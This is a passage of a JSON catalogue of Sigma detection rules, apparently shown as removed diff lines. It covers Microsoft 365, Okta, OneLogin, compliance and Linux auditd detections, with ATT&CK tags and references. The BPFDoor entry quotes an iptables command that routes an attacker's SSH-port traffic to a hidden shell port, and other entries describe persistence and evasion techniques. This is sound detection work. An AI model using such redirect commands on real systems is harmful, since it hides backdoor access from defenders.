"refs": [ - "https://www.fireeye.com/content/dam/fireeye-www/blog/pdfs/wp-m-unc2452-2021-000343-01.pdf", - "https://us-cert.cisa.gov/ncas/alerts/aa21-008a", - "https://www.splunk.com/en_us/blog/security/a-golden-saml-journey-solarwinds-continued.html", - "https://www.sygnia.co/golden-saml-advisory", - "https://o365blog.com/post/aadbackdoor/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/m365/microsoft365_new_federated_domain_added.yml" - ], - "tags": [ - "attack.persistence", - "attack.t1136.003" - ], - "creation_date": "2022/02/08", - "filename": "microsoft365_new_federated_domain_added.yml", - "author": "@ionsor", - "level": "medium", - "falsepositive": [ - "The creation of a new Federated domain is not necessarily malicious, however these events need to be followed closely, as it may indicate federated credential abuse or backdoor via federated identities at a similar or different cloud provider." - ], - "logsource.category": "No established category", - "logsource.product": "m365" - } - }, - { - "description": "Detects when a Microsoft Cloud App Security reported when a user uploads files to the cloud that might be infected with ransomware.", - "uuid": "bd132164-884a-48f1-aa2d-c6d646b04c69", - "value": "Microsoft 365 - Potential Ransomware Activity", - "meta": { - "refs": [ - "https://docs.microsoft.com/en-us/cloud-app-security/anomaly-detection-policy", - "https://docs.microsoft.com/en-us/cloud-app-security/policy-template-reference", - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/m365/microsoft365_potential_ransomware_activity.yml" - ], - "tags": [ - "attack.impact", - "attack.t1486" - ], - "creation_date": "2021/08/19", - "filename": "microsoft365_potential_ransomware_activity.yml", - "author": "austinsonger", - "level": "medium", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "No established category", - "logsource.product": "m365" - } - }, - { - "description": "Alert on when a user has performed an eDiscovery search or exported a PST file from the search. This PST file usually has sensitive information including email body content", - "uuid": "18b88d08-d73e-4f21-bc25-4b9892a4fdd0", - "value": "PST Export Alert", - "meta": { - "refs": [ - "https://attack.mitre.org/techniques/T1114/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/m365/microsoft365_pst_export_alert.yml" - ], - "tags": [ - "attack.collection", - "attack.t1114" - ], - "creation_date": "2022/02/08", - "filename": "microsoft365_pst_export_alert.yml", - "author": "Sorina Ionescu", - "level": "medium", - "falsepositive": [ - "PST export can be done for legitimate purposes but due to the sensitive nature of its content it must be monitored." - ], - "logsource.category": "No established category", - "logsource.product": "m365" - } - }, - { - "description": "Detects when a Microsoft Cloud App Security reported suspicious email forwarding rules, for example, if a user created an inbox rule that forwards a copy of all emails to an external address.", - "uuid": "6c220477-0b5b-4b25-bb90-66183b4089e8", - "value": "Suspicious Inbox Forwarding", - "meta": { - "refs": [ - "https://docs.microsoft.com/en-us/cloud-app-security/anomaly-detection-policy", - "https://docs.microsoft.com/en-us/cloud-app-security/policy-template-reference", - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/m365/microsoft365_susp_inbox_forwarding.yml" - ], - "tags": [ - "attack.exfiltration", - "attack.t1020" - ], - "creation_date": "2021/08/22", - "filename": "microsoft365_susp_inbox_forwarding.yml", - "author": "Austin Songer @austinsonger", - "level": "low", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "No established category", - "logsource.product": "m365" - } - }, - { - "description": "Detects when a Microsoft Cloud App Security reported when an app downloads multiple files from Microsoft SharePoint or Microsoft OneDrive in a manner that is unusual for the user.", - "uuid": "ee111937-1fe7-40f0-962a-0eb44d57d174", - "value": "Suspicious OAuth App File Download Activities", - "meta": { - "refs": [ - "https://docs.microsoft.com/en-us/cloud-app-security/anomaly-detection-policy", - "https://docs.microsoft.com/en-us/cloud-app-security/policy-template-reference", - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/m365/microsoft365_susp_oauth_app_file_download_activities.yml" - ], - "tags": [ - "attack.exfiltration" - ], - "creation_date": "2021/08/23", - "filename": "microsoft365_susp_oauth_app_file_download_activities.yml", - "author": "Austin Songer @austinsonger", - "level": "medium", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "No established category", - "logsource.product": "m365" - } - }, - { - "description": "Detects when a Microsoft Cloud App Security reported a user has deleted a unusual a large volume of files.", - "uuid": "78a34b67-3c39-4886-8fb4-61c46dc18ecd", - "value": "Microsoft 365 - Unusual Volume of File Deletion", - "meta": { - "refs": [ - "https://docs.microsoft.com/en-us/cloud-app-security/anomaly-detection-policy", - "https://docs.microsoft.com/en-us/cloud-app-security/policy-template-reference", - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/m365/microsoft365_unusual_volume_of_file_deletion.yml" - ], - "tags": [ - "attack.impact", - "attack.t1485" - ], - "creation_date": "2021/08/19", - "filename": "microsoft365_unusual_volume_of_file_deletion.yml", - "author": "austinsonger", - "level": "medium", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "No established category", - "logsource.product": "m365" - } - }, - { - "description": "Detects when a Security Compliance Center reported a user who exceeded sending limits of the service policies and because of this has been restricted from sending email.", - "uuid": "ff246f56-7f24-402a-baca-b86540e3925c", - "value": "Microsoft 365 - User Restricted from Sending Email", - "meta": { - "refs": [ - "https://docs.microsoft.com/en-us/cloud-app-security/anomaly-detection-policy", - "https://docs.microsoft.com/en-us/cloud-app-security/policy-template-reference", - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/m365/microsoft365_user_restricted_from_sending_email.yml" - ], - "tags": [ - "attack.initial_access", - "attack.t1199" - ], - "creation_date": "2021/08/19", - "filename": "microsoft365_user_restricted_from_sending_email.yml", - "author": "austinsonger", - "level": "medium", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "No established category", - "logsource.product": "m365" - } - }, - { - "description": "Detects when an the Administrator role is assigned to an user or group.", - "uuid": "413d4a81-6c98-4479-9863-014785fd579c", - "value": "Okta Admin Role Assigned to an User or Group", - "meta": { - "refs": [ - "https://developer.okta.com/docs/reference/api/system-log/", - "https://developer.okta.com/docs/reference/api/event-types/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/okta/okta_admin_role_assigned_to_user_or_group.yml" - ], - "tags": [ - "attack.impact" - ], - "creation_date": "2021/09/12", - "filename": "okta_admin_role_assigned_to_user_or_group.yml", - "author": "Austin Songer @austinsonger", - "level": "medium", - "falsepositive": [ - "Administrator roles could be assigned to users or group by other admin users." - ], - "logsource.category": "No established category", - "logsource.product": "okta" - } - }, - { - "description": "Detects when a API token is created", - "uuid": "19951c21-229d-4ccb-8774-b993c3ff3c5c", - "value": "Okta API Token Created", - "meta": { - "refs": [ - "https://developer.okta.com/docs/reference/api/system-log/", - "https://developer.okta.com/docs/reference/api/event-types/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/okta/okta_api_token_created.yml" - ], - "tags": [ - "attack.persistence" - ], - "creation_date": "2021/09/12", - "filename": "okta_api_token_created.yml", - "author": "Austin Songer @austinsonger", - "level": "medium", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "No established category", - "logsource.product": "okta" - } - }, - { - "description": "Detects when a API Token is revoked.", - "uuid": "cf1dbc6b-6205-41b4-9b88-a83980d2255b", - "value": "Okta API Token Revoked", - "meta": { - "refs": [ - "https://developer.okta.com/docs/reference/api/system-log/", - "https://developer.okta.com/docs/reference/api/event-types/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/okta/okta_api_token_revoked.yml" - ], - "tags": [ - "attack.impact" - ], - "creation_date": "2021/09/12", - "filename": "okta_api_token_revoked.yml", - "author": "Austin Songer @austinsonger", - "level": "medium", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "No established category", - "logsource.product": "okta" - } - }, - { - "description": "Detects when an application is modified or deleted.", - "uuid": "7899144b-e416-4c28-b0b5-ab8f9e0a541d", - "value": "Okta Application Modified or Deleted", - "meta": { - "refs": [ - "https://developer.okta.com/docs/reference/api/system-log/", - "https://developer.okta.com/docs/reference/api/event-types/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/okta/okta_application_modified_or_deleted.yml" - ], - "tags": [ - "attack.impact" - ], - "creation_date": "2021/09/12", - "filename": "okta_application_modified_or_deleted.yml", - "author": "Austin Songer @austinsonger", - "level": "medium", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "No established category", - "logsource.product": "okta" - } - }, - { - "description": "Detects when an application Sign-on Policy is modified or deleted.", - "uuid": "8f668cc4-c18e-45fe-ad00-624a981cf88a", - "value": "Okta Application Sign-On Policy Modified or Deleted", - "meta": { - "refs": [ - "https://developer.okta.com/docs/reference/api/system-log/", - "https://developer.okta.com/docs/reference/api/event-types/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/okta/okta_application_sign_on_policy_modified_or_deleted.yml" - ], - "tags": [ - "attack.impact" - ], - "creation_date": "2021/09/12", - "filename": "okta_application_sign_on_policy_modified_or_deleted.yml", - "author": "Austin Songer @austinsonger", - "level": "medium", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "No established category", - "logsource.product": "okta" - } - }, - { - "description": "Detects when an attempt at deactivating or resetting MFA.", - "uuid": "50e068d7-1e6b-4054-87e5-0a592c40c7e0", - "value": "Okta MFA Reset or Deactivated", - "meta": { - "refs": [ - "https://developer.okta.com/docs/reference/api/system-log/", - "https://developer.okta.com/docs/reference/api/event-types/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/okta/okta_mfa_reset_or_deactivated.yml" - ], - "tags": [ - "attack.persistence" - ], - "creation_date": "2021/09/21", - "filename": "okta_mfa_reset_or_deactivated.yml", - "author": "Austin Songer @austinsonger", - "level": "medium", - "falsepositive": [ - "If a MFA reset or deactivated was performed by a system administrator." - ], - "logsource.category": "No established category", - "logsource.product": "okta" - } - }, - { - "description": "Detects when an Network Zone is Deactivated or Deleted.", - "uuid": "9f308120-69ed-4506-abde-ac6da81f4310", - "value": "Okta Network Zone Deactivated or Deleted", - "meta": { - "refs": [ - "https://developer.okta.com/docs/reference/api/system-log/", - "https://developer.okta.com/docs/reference/api/event-types/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/okta/okta_network_zone_deactivated_or_deleted.yml" - ], - "tags": [ - "attack.impact" - ], - "creation_date": "2021/09/12", - "filename": "okta_network_zone_deactivated_or_deleted.yml", - "author": "Austin Songer @austinsonger", - "level": "medium", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "No established category", - "logsource.product": "okta" - } - }, - { - "description": "Detects when an Okta policy is modified or deleted.", - "uuid": "1667a172-ed4c-463c-9969-efd92195319a", - "value": "Okta Policy Modified or Deleted", - "meta": { - "refs": [ - "https://developer.okta.com/docs/reference/api/system-log/", - "https://developer.okta.com/docs/reference/api/event-types/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/okta/okta_policy_modified_or_deleted.yml" - ], - "tags": [ - "attack.impact" - ], - "creation_date": "2021/09/12", - "filename": "okta_policy_modified_or_deleted.yml", - "author": "Austin Songer @austinsonger", - "level": "low", - "falsepositive": [ - "Okta Policies being modified or deleted may be performed by a system administrator.", - "Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.", - "Okta Policies modified or deleted from unfamiliar users should be investigated. If known behavior is causing false positives, it can be exempted from the rule." - ], - "logsource.category": "No established category", - "logsource.product": "okta" - } - }, - { - "description": "Detects when an Policy Rule is Modified or Deleted.", - "uuid": "0c97c1d3-4057-45c9-b148-1de94b631931", - "value": "Okta Policy Rule Modified or Deleted", - "meta": { - "refs": [ - "https://developer.okta.com/docs/reference/api/system-log/", - "https://developer.okta.com/docs/reference/api/event-types/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/okta/okta_policy_rule_modified_or_deleted.yml" - ], - "tags": [ - "attack.impact" - ], - "creation_date": "2021/09/12", - "filename": "okta_policy_rule_modified_or_deleted.yml", - "author": "Austin Songer @austinsonger", - "level": "medium", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "No established category", - "logsource.product": "okta" - } - }, - { - "description": "Detects when an security threat is detected in Okta.", - "uuid": "5c82f0b9-3c6d-477f-a318-0e14a1df73e0", - "value": "Okta Security Threat Detected", - "meta": { - "refs": [ - "https://okta.github.io/okta-help/en/prod/Content/Topics/Security/threat-insight/configure-threatinsight-system-log.htm", - "https://developer.okta.com/docs/reference/api/system-log/", - "https://developer.okta.com/docs/reference/api/event-types/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/okta/okta_security_threat_detected.yml" - ], - "tags": "No established tags", - "creation_date": "2021/09/12", - "filename": "okta_security_threat_detected.yml", - "author": "Austin Songer @austinsonger", - "level": "medium", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "No established category", - "logsource.product": "okta" - } - }, - { - "description": "Detects when unauthorized access to app occurs.", - "uuid": "6cc2b61b-d97e-42ef-a9dd-8aa8dc951657", - "value": "Okta Unauthorized Access to App", - "meta": { - "refs": [ - "https://developer.okta.com/docs/reference/api/system-log/", - "https://developer.okta.com/docs/reference/api/event-types/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/okta/okta_unauthorized_access_to_app.yml" - ], - "tags": [ - "attack.impact" - ], - "creation_date": "2021/09/12", - "filename": "okta_unauthorized_access_to_app.yml", - "author": "Austin Songer @austinsonger", - "level": "medium", - "falsepositive": [ - "User might of believe that they had access." - ], - "logsource.category": "No established category", - "logsource.product": "okta" - } - }, - { - "description": "Detects when an user account is locked out.", - "uuid": "14701da0-4b0f-4ee6-9c95-2ffb4e73bb9a", - "value": "Okta User Account Locked Out", - "meta": { - "refs": [ - "https://developer.okta.com/docs/reference/api/system-log/", - "https://developer.okta.com/docs/reference/api/event-types/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/okta/okta_user_account_locked_out.yml" - ], - "tags": [ - "attack.impact" - ], - "creation_date": "2021/09/12", - "filename": "okta_user_account_locked_out.yml", - "author": "Austin Songer @austinsonger", - "level": "medium", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "No established category", - "logsource.product": "okta" - } - }, - { - "description": "Detects when an user assumed another user account.", - "uuid": "62fff148-278d-497e-8ecd-ad6083231a35", - "value": "OneLogin User Assumed Another User", - "meta": { - "refs": [ - "https://developers.onelogin.com/api-docs/1/events/event-resource", - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/onelogin/onelogin_assumed_another_user.yml" - ], - "tags": [ - "attack.impact" - ], - "creation_date": "2021/10/12", - "filename": "onelogin_assumed_another_user.yml", - "author": "Austin Songer @austinsonger", - "level": "low", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "No established category", - "logsource.product": "onelogin" - } - }, - { - "description": "Detects when an user account is locked or suspended.", - "uuid": "a717c561-d117-437e-b2d9-0118a7035d01", - "value": "OneLogin User Account Locked", - "meta": { - "refs": [ - "https://developers.onelogin.com/api-docs/1/events/event-resource/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/onelogin/onelogin_user_account_locked.yml" - ], - "tags": [ - "attack.impact" - ], - "creation_date": "2021/10/12", - "filename": "onelogin_user_account_locked.yml", - "author": "Austin Songer @austinsonger", - "level": "low", - "falsepositive": [ - "System may lock or suspend user accounts." - ], - "logsource.category": "No established category", - "logsource.product": "onelogin" - } - }, - { - "description": "Before deploying any new asset, change all default passwords to have values consistent with administrative level accounts.\nSigma detects default credentials usage. Sigma for Qualys vulnerability scanner. Scan type - Vulnerability Management.\n", - "uuid": "1a395cbc-a84a-463a-9086-ed8a70e573c7", - "value": "Default Credentials Usage", - "meta": { - "refs": [ - "https://www.cisecurity.org/controls/cis-controls-list/", - "https://www.pcisecuritystandards.org/documents/PCI_DSS_v3-2-1.pdf", - "https://nvlpubs.nist.gov/nistpubs/CSWP/NIST.CSWP.04162018.pdf", - "https://community.qualys.com/docs/DOC-6406-reporting-toolbox-focused-search-lists", - "https://github.com/SigmaHQ/sigma/tree/master/rules/compliance/default_credentials_usage.yml" - ], - "tags": "No established tags", - "creation_date": "2019/03/26", - "filename": "default_credentials_usage.yml", - "author": "Alexandr Yampolskyi, SOC Prime", - "level": "medium", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "No established category", - "logsource.product": "qualys" - } - }, - { - "description": "Ensure that all account usernames and authentication credentials are transmitted across networks using encrypted channels.\nEnsure that an encryption is used for all sensitive information in transit. Ensure that an encrypted channels is used for all administrative account access.\n", - "uuid": "d7fb8f0e-bd5f-45c2-b467-19571c490d7e", - "value": "Cleartext Protocol Usage", - "meta": { - "refs": [ - "https://www.cisecurity.org/controls/cis-controls-list/", - "https://www.pcisecuritystandards.org/documents/PCI_DSS_v3-2-1.pdf", - "https://nvlpubs.nist.gov/nistpubs/CSWP/NIST.CSWP.04162018.pdf", - "https://github.com/SigmaHQ/sigma/tree/master/rules/compliance/firewall_cleartext_protocols.yml" - ], - "tags": "No established tags", - "creation_date": "2019/03/26", - "filename": "firewall_cleartext_protocols.yml", - "author": "Alexandr Yampolskyi, SOC Prime, Tim Shelton", - "level": "low", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "firewall", - "logsource.product": "No established product" - } - }, - { - "description": "Configure systems to issue a log entry and alert when an account is added to or removed from any group assigned administrative privileges.\nSigma detects\nEvent ID 4728 indicates a \u2018Member is added to a Security Group\u2019.\nEvent ID 4729 indicates a \u2018Member is removed from a Security enabled-group\u2019 .\nEvent ID 4730 indicates a \u2018Security Group is deleted\u2019.\nThe case is not applicable for Unix OS.\nSupported OS - Windows 2008 R2 and 7, Windows 2012 R2 and 8.1, Windows 2016 and 10 Windows Server 2019, Windows Server 2000, Windows 2003 and XP.\n", - "uuid": "9cf01b6c-e723-4841-a868-6d7f8245ca6e", - "value": "Group Modification Logging", - "meta": { - "refs": [ - "https://www.cisecurity.org/controls/cis-controls-list/", - "https://www.pcisecuritystandards.org/documents/PCI_DSS_v3-2-1.pdf", - "https://nvlpubs.nist.gov/nistpubs/CSWP/NIST.CSWP.04162018.pdf", - "https://www.ultimatewindowssecurity.com/securitylog/encyclopedia/event.aspx?eventID=4728", - "https://www.ultimatewindowssecurity.com/securitylog/encyclopedia/event.aspx?eventID=4729", - "https://www.ultimatewindowssecurity.com/securitylog/encyclopedia/event.aspx?eventID=4730", - "https://www.ultimatewindowssecurity.com/securitylog/encyclopedia/event.aspx?eventID=633", - "https://www.ultimatewindowssecurity.com/securitylog/encyclopedia/event.aspx?eventID=632", - "https://www.ultimatewindowssecurity.com/securitylog/encyclopedia/event.aspx?eventID=634", - "https://github.com/SigmaHQ/sigma/tree/master/rules/compliance/group_modification_logging.yml" - ], - "tags": "No established tags", - "creation_date": "2019/03/26", - "filename": "group_modification_logging.yml", - "author": "Alexandr Yampolskyi, SOC Prime", - "level": "low", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "No established category", - "logsource.product": "windows" - } - }, - { - "description": "Host Without Firewall. Alert means not complied. Sigma for Qualys vulnerability scanner. Scan type - Vulnerability Management.", - "uuid": "6b2066c8-3dc7-4db7-9db0-6cc1d7b0dde9", - "value": "Host Without Firewall", - "meta": { - "refs": [ - "https://www.cisecurity.org/controls/cis-controls-list/", - "https://www.pcisecuritystandards.org/documents/PCI_DSS_v3-2-1.pdf", - "https://nvlpubs.nist.gov/nistpubs/CSWP/NIST.CSWP.04162018.pdf", - "https://github.com/SigmaHQ/sigma/tree/master/rules/compliance/host_without_firewall.yml" - ], - "tags": "No established tags", - "creation_date": "2019/03/19", - "filename": "host_without_firewall.yml", - "author": "Alexandr Yampolskyi, SOC Prime", - "level": "low", - "falsepositive": "No established falsepositives", - "logsource.category": "No established category", - "logsource.product": "qualys" - } - }, - { - "description": "Ensure that all account usernames and authentication credentials are transmitted across networks using encrypted channels\nEnsure that an encryption is used for all sensitive information in transit.\nEnsure that an encrypted channels is used for all administrative account access.\n", - "uuid": "7e4bfe58-4a47-4709-828d-d86c78b7cc1f", - "value": "Cleartext Protocol Usage", - "meta": { - "refs": [ - "https://www.cisecurity.org/controls/cis-controls-list/", - "https://www.pcisecuritystandards.org/documents/PCI_DSS_v3-2-1.pdf", - "https://nvlpubs.nist.gov/nistpubs/CSWP/NIST.CSWP.04162018.pdf", - "https://github.com/SigmaHQ/sigma/tree/master/rules/compliance/netflow_cleartext_protocols.yml" - ], - "tags": "No established tags", - "creation_date": "2019/03/26", - "filename": "netflow_cleartext_protocols.yml", - "author": "Alexandr Yampolskyi, SOC Prime", - "level": "low", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "No established category", - "logsource.product": "No established product" - } - }, - { - "description": "Automatically lock workstation sessions after a standard period of inactivity.\nThe case is not applicable for Unix OS. Supported OS - Windows 2008 R2 and 7, Windows 2012 R2 and 8.1, Windows 2016 and 10 Windows Server 2019.\n", - "uuid": "411742ad-89b0-49cb-a7b0-3971b5c1e0a4", - "value": "Locked Workstation", - "meta": { - "refs": [ - "https://www.cisecurity.org/controls/cis-controls-list/", - "https://www.pcisecuritystandards.org/documents/PCI_DSS_v3-2-1.pdf", - "https://nvlpubs.nist.gov/nistpubs/CSWP/NIST.CSWP.04162018.pdf", - "https://www.ultimatewindowssecurity.com/securitylog/encyclopedia/event.aspx?eventID=4800", - "https://github.com/SigmaHQ/sigma/tree/master/rules/compliance/workstation_was_locked.yml" - ], - "tags": "No established tags", - "creation_date": "2019/03/26", - "filename": "workstation_was_locked.yml", - "author": "Alexandr Yampolskyi, SOC Prime", - "level": "low", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "No established category", - "logsource.product": "windows" - } - }, - { - "description": "Detects change of user environment. Adversaries can insert code into these files to gain persistence each time a user logs in or opens a new shell.", - "uuid": "e74e15cc-c4b6-4c80-b7eb-dfe49feb7fe9", - "value": "Edit of .bash_profile and .bashrc", - "meta": { - "refs": [ - "MITRE Attack technique T1156; .bash_profile and .bashrc. ", - "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_alter_bash_profile.yml" - ], - "tags": [ - "attack.s0003", - "attack.persistence", - "attack.t1546.004" - ], - "creation_date": "2019/05/12", - "filename": "lnx_auditd_alter_bash_profile.yml", - "author": "Peter Matkovski", - "level": "medium", - "falsepositive": [ - "Admin or User activity" - ], - "logsource.category": "No established category", - "logsource.product": "linux" - } - }, - { - "description": "Detects attempts to record audio with arecord utility", - "uuid": "a7af2487-9c2f-42e4-9bb9-ff961f0561d5", - "value": "Audio Capture", - "meta": { - "refs": [ - "https://linux.die.net/man/1/arecord", - "https://linuxconfig.org/how-to-test-microphone-with-audio-linux-sound-architecture-alsa", - "https://attack.mitre.org/techniques/T1123/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_audio_capture.yml" - ], - "tags": [ - "attack.collection", - "attack.t1123" - ], - "creation_date": "2021/09/04", - "filename": "lnx_auditd_audio_capture.yml", - "author": "Pawel Mazur", - "level": "low", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "No established category", - "logsource.product": "linux" - } - }, - { - "description": "Detect changes in auditd configuration files", - "uuid": "977ef627-4539-4875-adf4-ed8f780c4922", - "value": "Auditing Configuration Changes on Linux Host", - "meta": { - "refs": [ - "https://github.com/Neo23x0/auditd/blob/master/audit.rules", - "Self Experience", - "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_auditing_config_change.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1562.006" - ], - "creation_date": "2019/10/25", - "filename": "lnx_auditd_auditing_config_change.yml", - "author": "Mikhail Larin, oscd.community", - "level": "high", - "falsepositive": [ - "Legitimate administrative activity" - ], - "logsource.category": "No established category", - "logsource.product": "linux" - } - }, - { - "description": "Adversaries may use binary padding to add junk data and change the on-disk representation of malware.\nThis rule detect using dd and truncate to add a junk data to file.\n", - "uuid": "c52a914f-3d8b-4b2a-bb75-b3991e75f8ba", - "value": "Binary Padding", - "meta": { - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1027.001/T1027.001.md", - "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_binary_padding.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1027.001" - ], - "creation_date": "2020/10/13", - "filename": "lnx_auditd_binary_padding.yml", - "author": "Igor Fits, oscd.community", - "level": "high", - "falsepositive": [ - "Legitimate script work" - ], - "logsource.category": "No established category", - "logsource.product": "linux" - } - }, - { - "description": "detects BPFDoor .lock and .pid files access in temporary file storage facility", - "uuid": "808146b2-9332-4d78-9416-d7e47012d83d", - "value": "BPFDoor Abnormal Process ID or Lock File Accessed", - "meta": { - "refs": [ - "https://www.sandflysecurity.com/blog/bpfdoor-an-evasive-linux-backdoor-technical-analysis/", - "https://www.elastic.co/security-labs/a-peek-behind-the-bpfdoor", - "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_bpfdoor_file_accessed.yml" - ], - "tags": [ - "attack.execution", - "attack.t1106", - "attack.t1059" - ], - "creation_date": "2022/08/10", - "filename": "lnx_auditd_bpfdoor_file_accessed.yml", - "author": "Rafal Piasecki", - "level": "high", - "falsepositive": [ - "Unlikely" - ], - "logsource.category": "No established category", - "logsource.product": "linux" - } - }, - { - "description": "All TCP traffic on particular port from attacker is routed to different port. ex. '/sbin/iptables -t nat -D PREROUTING -p tcp -s 192.168.1.1 --dport 22 -j REDIRECT --to-ports 42392'\nThe traffic looks like encrypted SSH communications going to TCP port 22, but in reality is being directed to the shell port once it hits the iptables rule for the attacker host only.\n", - "uuid": "70b4156e-50fc-4523-aa50-c9dddf1993fc", - "value": "Bpfdoor TCP Ports Redirect", - "meta": { - "refs": [ - "https://www.sandflysecurity.com/blog/bpfdoor-an-evasive-linux-backdoor-technical-analysis/", - "https://www.elastic.co/security-labs/a-peek-behind-the-bpfdoor", - "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_bpfdoor_port_redirect.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1562.004" - ], - "creation_date": "2022/08/10", - "filename": "lnx_auditd_bpfdoor_port_redirect.yml", - "author": "Rafal Piasecki", - "level": "medium", - "falsepositive": [ - "Legitimate ports redirect" - ], - "logsource.category": "No established category", - "logsource.product": "linux" - } - }, - { - "description": "Detects attempts to discover the files with setuid/setgid capability on them. That would allow adversary to escalate their privileges.", - "uuid": "fe10751f-1995-40a5-aaa2-c97ccb4123fe", - "value": "Linux Capabilities Discovery", - "meta": { - "refs": [ - "https://man7.org/linux/man-pages/man8/getcap.8.html", - "https://www.hackingarticles.in/linux-privilege-escalation-using-capabilities/", - "https://mn3m.info/posts/suid-vs-capabilities/", - "https://int0x33.medium.com/day-44-linux-capabilities-privilege-escalation-via-openssl-with-selinux-enabled-and-enforced-74d2bec02099", - "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_capabilities_discovery.yml" - ], - "tags": [ - "attack.collection", - "attack.privilege_escalation", - "attack.t1123", - "attack.t1548" - ], - "creation_date": "2021/11/28", - "filename": "lnx_auditd_capabilities_discovery.yml", - "author": "Pawel Mazur", - "level": "low", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "No established category", - "logsource.product": "linux" - } - }, - { - "description": "Detect file time attribute change to hide new or changes to existing files.", - "uuid": "b3cec4e7-6901-4b0d-a02d-8ab2d8eb818b", - "value": "File Time Attribute Change", - "meta": { - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1070.006/T1070.006.md", - "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_change_file_time_attr.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1070.006" - ], - "creation_date": "2020/10/15", - "filename": "lnx_auditd_change_file_time_attr.yml", - "author": "Igor Fits, oscd.community", - "level": "medium", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "No established category", - "logsource.product": "linux" - } - }, - { - "description": "Detects removing immutable file attribute.", - "uuid": "a5b977d6-8a81-4475-91b9-49dbfcd941f7", - "value": "Remove Immutable File Attribute", - "meta": { - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1222.002/T1222.002.md", - "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_chattr_immutable_removal.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1222.002" - ], - "creation_date": "2019/09/23", - "filename": "lnx_auditd_chattr_immutable_removal.yml", - "author": "Jakob Weinzettl, oscd.community", - "level": "medium", - "falsepositive": [ - "Administrator interacting with immutable files (e.g. for instance backups)." - ], - "logsource.category": "No established category", - "logsource.product": "linux" - } - }, - { - "description": "Detects attempts to collect data stored in the clipboard from users with the usage of xclip tool.\nXclip has to be installed.\nHighly recommended using rule on servers, due to high usage of clipboard utilities on user workstations.\n", - "uuid": "214e7e6c-f21b-47ff-bb6f-551b2d143fcf", - "value": "Clipboard Collection with Xclip Tool", - "meta": { - "refs": [ - "https://attack.mitre.org/techniques/T1115/", - "https://linux.die.net/man/1/xclip", - "https://www.cyberciti.biz/faq/xclip-linux-insert-files-command-output-intoclipboard/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_clipboard_collection.yml" - ], - "tags": [ - "attack.collection", - "attack.t1115" - ], - "creation_date": "2021/09/24", - "filename": "lnx_auditd_clipboard_collection.yml", - "author": "Pawel Mazur", - "level": "low", - "falsepositive": [ - "Legitimate usage of xclip tools" - ], - "logsource.category": "No established category", - "logsource.product": "linux" - } - }, - { - "description": "Detects attempts to collect image data stored in the clipboard from users with the usage of xclip tool.\nXclip has to be installed.\nHighly recommended using rule on servers, due to high usage of clipboard utilities on user workstations.\n", - "uuid": "f200dc3f-b219-425d-a17e-c38467364816", - "value": "Clipboard Collection of Image Data with Xclip Tool", - "meta": { - "refs": [ - 